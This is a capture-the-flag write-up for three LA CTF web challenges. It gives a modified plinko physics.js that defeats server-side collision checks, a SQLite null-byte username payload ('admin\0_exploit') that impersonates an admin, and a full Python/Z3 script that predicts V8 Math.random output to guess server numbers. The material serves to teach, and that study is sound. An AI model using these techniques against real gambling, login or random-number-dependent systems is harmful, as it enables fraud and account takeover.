web/plinko
Description
I was tired of the rigged gambling games online, so I made this completely fair version of plinko. Don’t try and cheat me.
Site - plinko.chall.lac.tf
Solve
Overwrite the physics.js
in the website source so that the two side bars are removed. The server side checking will only check if a collision that the client reports really happens. It never checks if a collision does not happen when it should so we can remove side pieces that would block the ball from reaching large multipliers.
Change it to:
// module aliases
var Engine = Matter.Engine,
Render = Matter.Render,
Runner = Matter.Runner,
Bodies = Matter.Bodies,
Composite = Matter.Composite;
// create an engine
// create balls and pins
const colors = [
"#00ff00", "#1ce300", "#39c600", "#55aa00", "#718e00", "#8e7100",
"#aa5500", "#c63900", "#e31c00", "#ff0000", "#e31c00", "#c63900",
"#aa5500", "#8e7100", "#718e00", "#55aa00", "#39c600", "#1ce300",
"#00ff00"
];
// SETTING UP THE PINS AND WALLS AND GROUND
const pins = [];
const dropZones = [];
for (let row=5; row<16; row++) {
const middleSpace = 65*(row-1);
const frontPad = (1000-middleSpace)/2
for (let pin=0; pin<row; pin++) {
if(row >= 7 && (pin >= 3 && pin <= (row - 4))) {
let pinBody = Bodies.circle(pin*65+frontPad, (row-4)*85-10, 5, {isStatic: true, label: "obstacle", isSensor: true, render: {fillStyle: 'blue'}});
pins.push(pinBody);
}
//let pinBody = Bodies.circle(pin*65+frontPad, (row-4)*85-10, 5, {isStatic: true, label: "obstacle", isSensor: true, render: {fillStyle: 'blue'}});
//pins.push(pinBody);
}
}
// 19 drop zones with varying points
for (let i=0; i<19; i++) {
let width = 1000/19;
let dropZone = Bodies.rectangle(i*width+width/2, 1000, width, 60, { isStatic: true, friction: 0, isSensor: true, render: {fillStyle: colors[i]}});
dropZones.push(dropZone);
}
const ground = Bodies.rectangle(500, 1000, 1000, 60, { isStatic: true, friction: 0, label: 'obstacle', isSensor: true});
const leftWall = Bodies.rectangle(190, 480, 1, 1100, {isStatic: true, angle: Math.PI/8.6, label: 'obstacle', isSensor: true, render: {fillStyle: 'blue'}});
const rightWall = Bodies.rectangle(810, 480, 1, 1100, {isStatic: true, angle: -Math.PI/8.6, label: 'obstacle', isSensor: true, render: {fillStyle: 'blue'}});
const allBodies = pins.concat([ground, leftWall, rightWall]).concat(dropZones);
// add all of the bodies to the world
let socket = null;
// DONE SETTING UP THE PINS AND BALLS
async function setup() {
if (socket) {
return;
}
var engine = Engine.create();
// create a renderer
var render = Render.create({
element: document.body,
engine: engine,
options: {
width: 1000,
height: 1000,
wireframes: false
}
});
let runner = Runner.create();
Composite.add(engine.world, allBodies);
const wsUrl = location.protocol.replace("http", "ws") + "//" + location.host;
socket = new WebSocket(wsUrl);
const currMoney = parseInt(document.getElementById("moneyCounter").innerText);
document.getElementById("moneyCounter").innerText = currMoney-100;
let ball = Bodies.circle(500, 10, 10, {label: "ball", mass: 1, friction: 0, frictionAir: 0});
Composite.add(engine.world, [ball]);
// add ball to the world and connect to the socket
socket.onopen = async() => {
console.log('Connected to WebSocket server');
socket.send(JSON.stringify({"msgType": "join", "ballPos": ball.position, "ballVelo": ball.velocity, "time": engine.timing.timestamp}));
const resp = await waitForMessage();
if ("error" in JSON.parse(resp)) window.location = "/login";
};
function waitForMessage() {
return new Promise((resolve) => {
function handler(event) {
socket.removeEventListener("message", handler);
resolve(event.data);
}
socket.addEventListener("message", handler);
});
}
Matter.Events.off(engine, "collisionStart");
// fires on any collision
Matter.Events.on(engine, "collisionStart", (event) => {
event.pairs.forEach(async(pair) => {
if ((pair.bodyA.label === "ball" || pair.bodyB.label === "ball") && (pair.bodyA.label === "obstacle" || pair.bodyB.label === "obstacle")) {
Runner.stop(runner);
engine.enabled = false;
let collisionTime = engine.timing.timestamp;
var ball = pair.bodyA.label === "ball" ? pair.bodyA : pair.bodyB;
let collisionPos = {'x': ball.position.x, 'y': ball.position.y};
var obs = pair.bodyA.label === "obstacle" ? pair.bodyA : pair.bodyB;
socket.send(JSON.stringify({"msgType": "collision", "velocity": ball.velocity, "position": ball.position, "obsPosition": obs.position, "time": engine.timing.timestamp}));
const resp = await waitForMessage();
if (parseInt(resp)>=0) {
// Ball hit the ground
const currMoney = parseInt(document.getElementById("moneyCounter").innerText);
document.getElementById("moneyCounter").innerText = currMoney+parseInt(resp);
socket.close();
socket = null;
document.getElementById("drop").removeAttribute("disabled");
Runner.stop(runner);
engine.enabled = false;
Composite.remove(engine.world, ball);
Matter.World.clear(engine.world, false);
if (render.canvas) {
render.canvas.remove();
}
return;
}
else {
respJSON = JSON.parse(resp);
if ("error" in respJSON) {
// You either cheated or you're not logged in
socket.close();
if (respJSON['error'] === "Not logged in") window.location = "/login";
Composite.remove(engine.world, ball);
Matter.World.clear(engine.world, false);
// document.querySelector('canvas').remove();
socket = null;
document.getElementById("drop").removeAttribute("disabled");
return;
}
engine.timing.timestamp = collisionTime;
Matter.Body.setPosition(ball, collisionPos);
Matter.Body.setVelocity(ball, JSON.parse(resp));
engine.enabled = true;
Runner.run(runner, engine);
}
}
});
});
Matter.Events.off(engine, "afterUpdate");
Matter.Events.on(engine, "afterUpdate", () => {
console.log("Update step:", engine.timing.timestamp);
// Example: Log velocity of a specific body
console.log("Position of bodyA", ball.position);
console.log("Velocity of bodyA:", ball.velocity);
});
Render.run(render);
Runner.run(runner, engine);
}
document.getElementById("drop").addEventListener("click", () => {
setup();
document.getElementById("drop").setAttribute("disabled", true);
});
After this the average outcome of the game will be positive so you can run the play button on a loop and reach $10,000.
web/arclbroth
Description
I heard Arc’blroth was writing challenges for LA CTF. Wait, is it arc’blroth or arcl broth?
Solution
In order to receive the flag in this challenge, we must POST
the /brew
endpoint while our user has 50 or more arc. The user starts with 10 arc and the only way to increase it beyond 10, is if someone with the username admin
POST
s the /replenish
endpoint. Our issue is that there is already a user admin
made and the application prevents duplicate users. One strange fact is that this application uses a very unknown js sqlite library named secure-sqlite
which at first glance looks pretty ordinary. The exploit is infact how sqlite handles null bytes. Sqlite will store null bytes perfectly fine, but selecting them, the database will return all charecters up to that byte. When comparing the strings in a select statement such as
SELECT * FROM users WHERE username=${username}
through, the database will compares all the bytes of the two terms. If we provide a payload such as admin\0_exploit
where \0
represents a null byte, the two terms will not be equal so the server will assume it as a new username. When the /replenish
endpoint selects the username though, the database will provide all bytes up to the null byte so it will select just admin
which will equal admin
. This will give 100 arc to all users. We then hit the /brew
endpoint to get the flag.
web/whats-my-number
Description
Wha’s my numba?
Deploy challenge
Fallback if link above breaks: whats-my-number.chall.lac.tf
Solve
This is probably one of the more complicated web challenges I have done. Just from a glance at the only provided index.js file:
const express = require("express");
const path = require("path");
const fs = require("fs");
const http = require("http");
const app = express();
const PORT = process.env.PORT || 3000;
const SPAM_PERIOD = 40;
let total_guesses = 0;
function getRandom() {
return Math.floor(Math.random() * 1e9);
}
app.use(express.static(path.join(__dirname, "../public")));
// Endpoint to get a random number
app.get("/api/random", (req, res) => {
const randomNumber = getRandom();
res.json({ randomNumber });
});
// Endpoint to guess a number
app.get("/api/guess", (req, res) => {
const guess = req.query.num;
let guess_num;
total_guesses += 1;
try {
guess_num = parseInt(guess);
} catch (error) {
console.error("Could not parse guess:", guess);
res.status(500).json({ error: "Could not parse guess" });
return;
}
if (isNaN(guess_num)) {
console.error("Could not parse guess:", guess);
res.status(500).json({ error: "Could not parse guess" });
return;
}
let test_num = getRandom();
if (test_num === guess_num) {
fs.readFile(path.join(__dirname, "../flag.txt"), "utf-8", (err, flag) => {
if (err) {
console.error("Failed to read flag file", err);
res.status(500).json({
error: "Error reading flag file, please contact CTF organizers",
});
return;
}
const response_msg = flag;
res.json({ response_msg, total_guesses });
});
} else {
let response_msg = "Wrong number! The right number is: " + test_num;
res.json({ response_msg, total_guesses });
}
});
// Start the server
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
// Spam requests to the server at some fixed interval
// Use a persistent http session
let failed_requests = 0;
const start_spamming = () => {
console.log("Starting spam requests");
const agent = new http.Agent({ keepAlive: true });
const send_request = () => {
const options = {
hostname: "localhost",
port: PORT,
path: "/api/random",
method: "GET",
agent: agent,
};
const req = http.request(options, (res) => {
let data = "";
res.on("data", (chunk) => {
data += chunk;
failed_requests = 0;
});
});
req.on("error", (error) => {
console.error("Request error: ", error);
failed_requests++;
// If 10 requests in a row fail, exit the program; something is wrong
if (failed_requests >= 10) {
console.error("Too many requests failing! Exiting program.");
process.exit(1);
}
});
req.end();
};
setInterval(send_request, SPAM_PERIOD);
};
setTimeout(start_spamming, 500);
we see that this is a random prediction problem. We have to predict the random values of NodeJS. This by itself is a pretty easy task and there are many libraries which assist with this.
The first difficult caveat is the Math.floor(Math.random() * 1e9)
. We only get about half of the random number so we somehow have to predict based on this. This is also fine as there is a random number predictor that can do this: https://github.com/JorianWoltjer/v8_rand_buster. We need a couple of digits for this script to work and it will solve for the seed of the random. I suggest reading through the repositories README.md
as a provides a lot of good information on how NodeJS’s random function works (it is in chunks and reverse). After a bit of testing with this library, I saw that the prediction feature of it would print previous random numbers instead of next ones. To solve this, I found another library which predicts full random numbers, but can also be used with just a seed to predict the next number. Intertwining these two libraries, I was able to make a script that would predict the next number recursively. The script would get the seed from library 1, pass it to libarary 2 to get the next random, add the next random to the stack then get the seed again and repeat.
Now comes the challenge’s next caveat. The server will generate a new random number every 40 miliseconds. This means that we somehow either have to drastically modify our solve script to be able to work with numbers missing, or make it so fast that we can pull our first seed within the 40 milisecond interval. I chose the second option since I didn’t have enough time to rewrite and understand the Z3 solve equation. Through some testing I found that we only needed about 6 numbers for the first library to generate a seed. Also the seeds come in a pair: (state0, state1) and the next numbers state1 would always be the current numbers state0. This meant that our script had to solve for one less numbers so I stored the value of state1 and modified the script a bit to account for this. The second issue was the ping to the server (about 50ms from my university) which would prevent basically any attack that relied on precise timing. To solve this I just bought a server at the same location as the host (GCP Oregon). From here I had under 1 ms ping. I also made the python requests library use sessions so that the connection would stay alive in between checks.
While our script was pretty fast, it could not pull the 6 random numbers, generate a new state from scratch, and output a new random number all under 40ms. Despite this, we are able to generate new numbers under 40ms since we have states beforehand so our equation is solved much quicker. In our solve script, we generate numbers as quick as possible and asynchronously submit them to the server for approval.
solve.py
import struct
import math
from math import ceil, log10
import requests
import os
from pathlib import Path
import sys
from xs128p import create_solver, create_solver_state1
from z3 import *
import itertools
import time
from concurrent.futures import ThreadPoolExecutor
MAX_THREADS = 8
solved = False
executor = ThreadPoolExecutor(max_workers=MAX_THREADS)
MULT = 1000000000
seen_nums = []
BASE = "http://localhost:3000"
BASE = "https://whats-my-number-9ol1x.instancer.lac.tf"
s = requests.Session()
# Try to get atleast 10 numbers before running
nums = []
seed = 0
def get_next_rand(state0):
"""
Gets the next random number
"""
u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
next_sequence = struct.unpack("d", float_64)[0]
next_sequence -= 1
return next_sequence
def dec_to_multiplied(num):
"""
Converts a number to a multiplied number
"""
return math.floor(num * MULT)
def get_random_number():
req = s.get(BASE+"/api/random")
return req.json()["randomNumber"]
def get_offset(multiple):
return 10**(ceil(log10(multiple))-1)
def perm_reverse(samples, multiple):
"""Due to the cache being a Last In First Out (LIFO) structure, we get the samples in reverse."""
return samples[::-1], multiple
def perm_offset(samples, multiple):
"""Guess common offset like `Math.floor(9000 * Math.random()) + 1000` to make n-digit numbers"""
offset = get_offset(multiple)
samples = list(map(lambda x: x - offset, samples))
if any(map(lambda x: x < 0, samples)):
return None, None # Impossible if any sample is negative
return samples, multiple - offset
def perm_minus_one(samples, multiple):
"""Multiple could be 9999 instead of 10000"""
return samples, multiple - 1
def perm_half_first(samples, multiple):
"""Inputs may lie on a 64-wide cache boundary so we try both the first and second half so that at least one works."""
mid = len(samples)//2
return samples[:mid], multiple
def perm_half_last(samples, multiple):
mid = len(samples)//2
return samples[mid:], multiple
permutations = [
perm_reverse,
perm_offset,
perm_minus_one,
perm_half_first,
perm_half_last,
]
def find_with_permutations(samples, multiple):
for l in range(len(permutations)+1):
for perm in itertools.combinations(permutations, l):
if perm_half_first in perm and perm_half_last in perm:
continue # mutually exclusive
perm_samples = samples
perm_multiple = multiple
for p in perm:
perm_samples_, perm_multiple_ = p(perm_samples, perm_multiple)
if perm_samples_ is None or perm_multiple_ is None:
print("Impossible permutation:",
p.__name__.split("perm_")[1])
break
perm_samples, perm_multiple = perm_samples_, perm_multiple_
#print("-"*80)
#print("Permutation:", [p.__name__.split("perm_")[1] for p in perm])
#print("Samples:", perm_samples)
#print("Multiple:", perm_multiple)
if seed == 0:
s, (state0_, state1_) = create_solver(perm_samples, perm_multiple)
if s.check() == sat:
m = s.model()
state0 = m[state0_].as_long()
state1 = m[state1_].as_long()
s.add(Or(state0 != state0_, state1 != state1_))
if s.check() == sat:
m = s.model()
#print("WARNING: multiple solutions found! use more samples!")
#print(f"1. {state0},{state1}")
#print(f"2. {m[state0_].as_long()},{m[state1_].as_long()}")
#print("...")
continue
return (state0, state1), perm
else:
pass
else:
s, (state0_, state1_) = create_solver_state1(perm_samples, perm_multiple, seed)
if s.check() == sat:
m = s.model()
state0 = m[state0_].as_long()
#state1 = m[state1_].as_long()
#s.add(Or(state0 != state0_, state1 != state1_))
#if s.check() == sat:
# m = s.model()
#print("WARNING: multiple solutions found! use more samples!")
#print(f"1. {state0},{state1}")
#print(f"2. {m[state0_].as_long()},{m[state1_].as_long()}")
#print("...")
# continue
return (state0, seed), perm
else:
pass
return (None, None), None
def find_multiple(samples):
max_sample = max(samples)
multiple = 1
while multiple < max_sample:
multiple *= 10
return multiple
def get_seed():
#print("Starting permutations...")
(state0, state1), perm = find_with_permutations(nums, MULT)
#print()
if state0 is None and state1 is None:
pass
else:
#print(f"Found states: {state0},{state1}")
return state0
# explain_permutations(perm, (state0, state1), MULT)
def submit_solve(guess):
req = s.get(BASE + "/api/guess?num=" + str(guess))
if req.status_code != 200:
#print("Error: " + str(req.status_code))
sys.exit(1)
data = req.json()['response_msg']
#print(data)
if "Wrong number" in data:
num = int(data.split(": ")[1])
if num in seen_nums:
print("IT WAS A PREVIOUS NUMBER")
else:
print("Solved")
print(data)
sys.exit(0)
start_milis = int(round(time.time() * 1000))
while(len(nums) < 6):
rand = get_random_number()
nums.append(rand)
print(nums)
end_milis = int(round(time.time() * 1000))
print("Time taken: " + str(end_milis - start_milis) + "ms")
start_milis = int(round(time.time() * 1000))
seed = get_seed()
rand = get_next_rand(seed)
multipled = dec_to_multiplied(rand)
print(multipled)
end_milis = int(round(time.time() * 1000))
for i in range(50):
if end_milis-start_milis < 40:
executor.submit(submit_solve, multipled)
start_milis = int(round(time.time() * 1000))
nums.append(multipled)
nums.pop(0)
seed = get_seed()
rand = get_next_rand(seed)
multipled = dec_to_multiplied(rand)
print(multipled)
seen_nums.append(multipled)
end_milis = int(round(time.time() * 1000))
submit_solve(multipled)
print("Time taken: " + str(end_milis - start_milis) + "ms")
"""
for i in range(50):
seed = get_seed()
rand = get_next_rand(seed)
multipled = dec_to_multiplied(rand)
nums.append(multipled)
# Remove the first element
nums.pop(0)
print(multipled)
"""
xs128p.py
#!/usr/bin/env python3
import argparse
from pathlib import Path
import struct
from decimal import *
import os
from z3 import *
MAX_UNUSED_THREADS = 2
def log(*args, **kwargs):
print(*args, **kwargs, file=sys.stderr)
# Calculates xs128p (XorShift128Plus)
def xs128p(state0, state1):
s1 = state0 & 0xFFFFFFFFFFFFFFFF
s0 = state1 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
state0 = state1 & 0xFFFFFFFFFFFFFFFF
state1 = s1 & 0xFFFFFFFFFFFFFFFF
generated = state0 & 0xFFFFFFFFFFFFFFFF
return state0, state1, generated
def sym_xs128p(sym_state0, sym_state1):
# Symbolically represent xs128p
s1 = sym_state0
s0 = sym_state1
s1 ^= (s1 << 23)
s1 ^= LShR(s1, 17)
s1 ^= s0
s1 ^= LShR(s0, 26)
sym_state0 = sym_state1
sym_state1 = s1
# end symbolic execution
return sym_state0, sym_state1
# Symbolic execution of xs128p
def sym_floor_random(slvr, sym_state0, sym_state1, generated, multiple):
sym_state0, sym_state1 = sym_xs128p(sym_state0, sym_state1)
# "::ToDouble"
calc = LShR(sym_state0, 12)
"""
Symbolically compatible Math.floor expression.
Here's how it works:
64-bit floating point numbers are represented using IEEE 754 (https://en.wikipedia.org/wiki/Double-precision_floating-point_format) which describes how
bit vectors represent decimal values. In our specific case, we're dealing with a function (Math.random) that only generates numbers in the range [0, 1).
This allows us to make some assumptions in how we deal with floating point numbers (like ignoring parts of the bitvector entirely).
The 64bit floating point is laid out as follows
[1 bit sign][11 bit expr][52 bit "mantissa"]
The formula to calculate the value is as follows: (-1)^sign * (1 + Sigma_{i=1 -> 52}(M_{52 - i} * 2^-i)) * 2^(expr - 1023)
Therefore 0_01111111111_1100000000000000000000000000000000000000000000000000 is equal to "1.75"
sign => 0 => ((-1) ^ 0) => 1
expr => 1023 => 2^(expr - 1023) => 1
mantissa => <bitstring> => (1 + sum(M_{52 - i} * 2^-i) => 1.75
1 * 1 * 1.75 = 1.75 :)
Clearly we can ignore the sign as our numbers are entirely non-negative.
Additionally, we know that our values are between 0 and 1 (exclusive) and therefore the expr MUST be, at most, 1023, always.
What about the expr?
"""
lower = from_double(Decimal(generated) / Decimal(multiple))
upper = from_double((Decimal(generated) + 1) / Decimal(multiple))
lower_mantissa = (lower & 0x000FFFFFFFFFFFFF)
upper_mantissa = (upper & 0x000FFFFFFFFFFFFF)
upper_expr = (upper >> 52) & 0x7FF
slvr.add(And(lower_mantissa <= calc, Or(
upper_mantissa >= calc, upper_expr == 1024)))
return sym_state0, sym_state1
def create_solver(points, multiple):
# setup symbolic state for xorshift128+
state0, state1 = BitVecs('state0 state1', 64)
sym_state0, sym_state1 = state0, state1
set_option("parallel.enable", True)
set_option("parallel.threads.max", (
max(os.cpu_count() - MAX_UNUSED_THREADS, 1))) # will use max or max cpu thread support, whatever is smaller
s = SolverFor(
"QF_BV") # This type of problem is much faster computed using QF_BV (also, if branching happens, we can use parallelization)
for point in points:
sym_state0, sym_state1 = sym_floor_random(
s, sym_state0, sym_state1, point, multiple)
return s, (state0, state1)
def create_solver_state1(points, multiple, state1_val):
# setup symbolic state for xorshift128+
state0 = BitVec('state0', 64)
state1 = BitVecVal(state1_val, 64)
sym_state0 = state0
sym_state1 = state1
set_option("parallel.enable", True)
set_option("parallel.threads.max", (
max(os.cpu_count() - MAX_UNUSED_THREADS, 1))) # will use max or max cpu thread support, whatever is smaller
s = SolverFor(
"QF_BV") # This type of problem is much faster computed using QF_BV (also, if branching happens, we can use parallelization)
for point in points:
sym_state0, sym_state1 = sym_floor_random(
s, sym_state0, sym_state1, point, multiple)
return s, (state0, state1)
def to_double(value):
"""
https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L111
"""
double_bits = (value >> 12) | 0x3FF0000000000000
return struct.unpack('d', struct.pack('<Q', double_bits))[0] - 1
def from_double(dbl):
"""
https://github.com/v8/v8/blob/master/src/base/utils/random-number-generator.h#L111
This function acts as the inverse to @to_double. The main difference is that we
use 0x7fffffffffffffff as our mask as this ensures the result _must_ be not-negative
but makes no other assumptions about the underlying value.
That being said, it should be safe to change the flag to 0x3ff...
"""
return struct.unpack('<Q', struct.pack('d', dbl + 1))[0] & 0x7FFFFFFFFFFFFFFF
def get_args():
parser = argparse.ArgumentParser(
description="Uses Z3 to predict future states for 'Math.floor(MULTIPLE * Math.random())' given some consecutive historical values. Pipe unbucketed points in via STDIN.")
parser.add_argument('samples', type=Path, nargs='?',
help="The file containing the leaked, unbucketed points")
parser.add_argument('-m', '--multiple', required=True, type=float,
help="Specifies the multiplier used in 'Math.floor(MULTIPLE * Math.random())'")
parser.add_argument('-o', '--output', type=Path,
help="Output file to write constraints to instead of solving (useful for github.com/SRI-CSL/yices2)")
parser.add_argument('-s', '--state',
help="Instead of predicting state, take a state pair and generate output. (state0,state1)")
parser.add_argument('-g', '--gen', default=5, type=int,
help="Number of predictions to generate")
parser.add_argument('-a', '--add', type=int, default=0,
help="Offset to add to all input samples and output predictions")
parser.add_argument('-i', '--include-samples', action='store_true',
help="Include the samples in the prediction output")
args = parser.parse_args()
if args.state is not None:
args.state = list(map(lambda x: int(x), args.state.split(",")))
if args.samples is not None:
args.samples = list(map(lambda line: int(line),
args.samples.read_text().splitlines()))
elif args.state is None:
args.samples = list(map(lambda line: int(line), sys.stdin.readlines()))
assert args.samples is None or len(args.samples) > 0, \
"Failed reading samples"
return args
if __name__ == "__main__":
"""
# -----------------------------------------------------------------------------------------------------------------------------------------------------------
# Relevant v8 Code to understand this solver:
# Math.Random Implementation (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/builtins/builtins-math-gen.cc#L402)
# Uses a precomputed cache of values to make subsequent calls to Math.random quick
# This source will refer to this as "bucketing" as it puts the random values in "buckets" that we use until they are empty.
# After the bucket is empty, we make a call to RefillCache (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/math-random.cc#L36)
# which populates the cache (bucket) with 64 () new random values. If the cache is not empty when Math.random is called,
# we pop the next value off the rear of the array until we're at `MATH_RANDOM_INDEX_INDEX` == 0 again for a refill.
# Notable hurdles in implementation:
# Unlike previous and similar implementations of xs128p, Chrome only uses `state_0` for converting and storing cached randoms
# > (https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/math-random.cc#L64)
# > vs (https://github.com/v8/v8/commit/ac66c97cfddc1e9fd89b494950ecf8a1a260bc80#diff-202872834c682708e9294600f73e4d15L115) (PRE SEPT 2018)
# -----------------------------------------------------------------------------------------------------------------------------------------------------------
"""
args = get_args()
state = args.state
if state is None:
if not all(map(lambda x: 0 <= x < args.multiple, args.samples)):
log("[-] Error: All points must be in the range [0, MULTIPLE)")
exit(1)
log(f"Inputs ({len(args.samples)}):", args.samples)
args.samples = [n + args.add for n in args.samples]
s, (state0, state1) = create_solver(args.samples, args.multiple)
if args.output is not None:
with open(args.output, "w") as f:
# Export z3 constraints to file, for other runners
f.write("(set-logic QF_BV)\n")
f.write(s.to_smt2())
f.write("(get-model)")
log("Wrote constraints to z3.smt2.")
exit(0)
else:
log("Solving states...\n")
if s.check() == sat:
# get a solved state
m = s.model()
state0 = m[state0].as_long()
state1 = m[state1].as_long()
else:
log("""[-] Failed to find a valid solution. Some potential reasons:
- The generator does not use Math.random()
- The MULTIPLE value is incorrect
- You forgot a newline at the end of the input file, causing `tac` to merge the last value with the first value
- The input is not reversed
- The input was bucketed (not inside a 64-sample boundary)""")
exit(1)
else:
state0, state1 = state
if state0 is not None and state1 is not None:
log(f"[+] Found states: {state0},{state1}\n")
if args.gen > 0:
log(f"Predictions ({args.gen}):")
if args.samples is not None and not args.include_samples:
for _ in range(len(args.samples)):
state0, state1, _ = xs128p(state0, state1)
for _ in range(args.gen):
state0, state1, output = xs128p(state0, state1)
print(math.floor(args.multiple * to_double(output)) + args.add)
While this script may take a couple attempts to work as it relies on a good amount of chance (the 6 numbers we pull have to be sequential), it will work.